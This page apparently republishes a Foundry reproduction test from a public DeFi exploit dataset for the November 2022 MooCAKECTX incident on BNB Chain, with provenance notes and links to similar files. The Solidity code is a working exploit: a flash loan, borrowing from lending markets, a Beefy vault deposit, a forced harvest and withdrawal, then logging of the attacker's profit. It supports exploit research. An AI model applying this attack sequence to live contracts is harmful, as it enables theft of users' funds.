Public reproduction file
src/test/2022-11/MooCAKECTX_exp.sol
Public reproduction file for dataset entry MooCAKECTX.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity 0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/BeosinAlert/status/15895012071813939209// https://twitter.com/CertiKAlert/status/158942815359161548810// TX11// https://bscscan.com/tx/0x03d363462519029cf9a544d44046cad0c7e64c5fb1f2adf5dd5438a9a0d2ec8e13interface VBUSD {14 function mint(15 uint256 mintAmount16 ) external;17 function redeemUnderlying(18 uint256 redeemAmount19 ) external;20}22interface VCAKE {23 function borrow(24 uint256 borrowAmount25 ) external;26 function repayBorrow(27 uint256 repayAmount28 ) external;29}31interface BeefyVault {32 function depositAll() external;33 function withdrawAll() external;34}36interface StrategySyrup {37 function harvest() external;38}40contract Harvest {41 constructor() {42 StrategySyrup strategySyrup = StrategySyrup(0xC2562DD7E4CAeE53DF0f9cD7d4dDDAa53bcD3D9b);43 strategySyrup.harvest();44 }45}47interface Unitroller {48 function getAccountLiquidity(49 address account50 ) external returns (uint256, uint256, uint256);51 function enterMarkets(52 address[] calldata vTokens53 ) external;54}56contract ContractTest is Test {57 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);58 IERC20 CTK = IERC20(0xA8c2B8eec3d368C0253ad3dae65a5F2BBB89c929);59 IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);60 IERC20 CAKE = IERC20(0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82);61 VBUSD vBUSD = VBUSD(0x95c78222B3D6e262426483D42CfA53685A67Ab9D);62 VCAKE vCAKE = VCAKE(0x86aC3974e2BD0d60825230fa6F355fF11409df5c);63 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);64 Unitroller unitroller = Unitroller(0xfD36E2c2a6789Db23113685031d7F16329158384);65 BeefyVault beefyVault = BeefyVault(0x489afbAED0Ea796712c9A6d366C16CA3876D8184);66 address constant dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;67 address constant SmartChef = 0xF35d63Df93f32e025bce4A1B98dcEC1fe07AD892;69 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);71 function setUp() public {72 // the ankr rpc maybe dont work , please use QuickNode73 cheats.createSelectFork("bsc", 22_832_427);74 }76 function testExploit() public {77 address(WBNB).call{value: 3 ether}("");78 WBNBToCTK();79 CTK.transfer(address(SmartChef), CTK.balanceOf(address(this)));80 DVM(dodo).flashLoan(0, 400_000 * 1e18, address(this), new bytes(1));82 emit log_named_decimal_uint("[End] Attacker CAKE balance after exploit", CAKE.balanceOf(address(this)), 18);83 }85 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {86 address[] memory cTokens = new address[](2);87 cTokens[0] = address(vBUSD);88 cTokens[1] = address(vCAKE);89 unitroller.enterMarkets(cTokens);90 BUSD.approve(address(vBUSD), type(uint256).max);91 vBUSD.mint(BUSD.balanceOf(address(this)));92 vCAKE.borrow(50_000 * 1e18);93 CAKE.approve(address(beefyVault), type(uint256).max);94 beefyVault.depositAll();95 // Removing this step, the profit seem to be higher 😂96 // because the harveset() funciton will swap some CAKE to WBNB97 Harvest harvest = new Harvest();98 beefyVault.withdrawAll();99 CAKE.approve(address(vCAKE), type(uint256).max);100 vCAKE.repayBorrow(50_000 * 1e18);101 vBUSD.redeemUnderlying(400_000 * 1e18);102 BUSD.transfer(dodo, 400_000 * 1e18);103 }105 function WBNBToCTK() internal {106 WBNB.approve(address(Router), type(uint256).max);107 address[] memory path = new address[](2);108 path[0] = address(WBNB);109 path[1] = address(CTK);110 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(111 WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp112 );113 }114}Analysis
Dataset entry
Public Foundry test for “MooCAKECTX” (2022-11-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-11/Annex_exp.solSame month in the dataset · 134 lines
- src/test/2022-11/AUR_exp.solSame month in the dataset · 105 lines
- src/test/2022-11/BDEX_exp.solSame month in the dataset · 55 lines
- src/test/2022-11/BrahTOPG_exp.solSame month in the dataset · 88 lines
- src/test/2022-11/DFX_exp.solSame month in the dataset · 108 lines
- src/test/2022-11/Kashi_exp.solSame month in the dataset · 115 lines
- src/test/2022-11/MBC_ZZSH_exp.solSame month in the dataset · 104 lines
- src/test/2022-11/MEV_0ad8_exp.solSame month in the dataset · 66 lines
- src/test/2022-11/NUM_exp.solSame month in the dataset · 72 lines
- src/test/2022-11/Polynomial_exp.solSame month in the dataset · 98 lines
- src/test/2022-11/SDAO_exp.solSame month in the dataset · 109 lines
- src/test/2022-11/SEAMAN_exp.solSame month in the dataset · 71 lines
- src/test/2022-11/SheepFarm_exp.solSame month in the dataset · 55 lines
- src/test/2022-11/UEarnPool_exp.solSame month in the dataset · 131 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- MooCAKECTX
- Path
- src/test/2022-11/MooCAKECTX_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 069348eeddce39415aa6fd9caacb0e9ea625487b
- Language
- Solidity
- Size
- 115 lines
- Date
- 2022-11-07
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-11/MooCAKECTX_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 069348eeddce39415aa6fd9caacb0e9ea625487b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.